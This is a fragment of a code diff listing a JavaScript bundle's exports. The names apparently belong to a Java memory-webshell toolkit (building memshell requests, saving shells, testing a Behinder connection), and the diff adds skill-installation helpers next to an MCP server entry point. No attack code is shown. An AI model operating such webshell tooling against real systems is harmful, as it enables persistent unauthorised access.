MemPartyClient,
|
|
3115
3424
|
OUTPUT_LIMIT,
|
|
3425
|
+
SKILL_NAME,
|
|
3116
3426
|
autoSaveShell,
|
|
3117
3427
|
buildCustomMemshell,
|
|
3118
3428
|
buildMemShellRequest,
|
|
@@ -3126,6 +3436,7 @@ export {
|
|
|
3126
3436
|
formatOp,
|
|
3127
3437
|
getProject,
|
|
3128
3438
|
hasJavac,
|
|
3439
|
+
installSkill,
|
|
3129
3440
|
listProjects,
|
|
3130
3441
|
logOp,
|
|
3131
3442
|
marshalFrameBase64,
|
|
@@ -3145,6 +3456,8 @@ export {
|
|
|
3145
3456
|
saveShell,
|
|
3146
3457
|
saveShellMeta,
|
|
3147
3458
|
shouldDecode,
|
|
3459
|
+
skillSourceDir,
|
|
3460
|
+
skillTargetDir,
|
|
3148
3461
|
startMcpStdio,
|
|
3149
3462
|
targetStorePath,
|
|
3150
3463
|
testBehinder,
|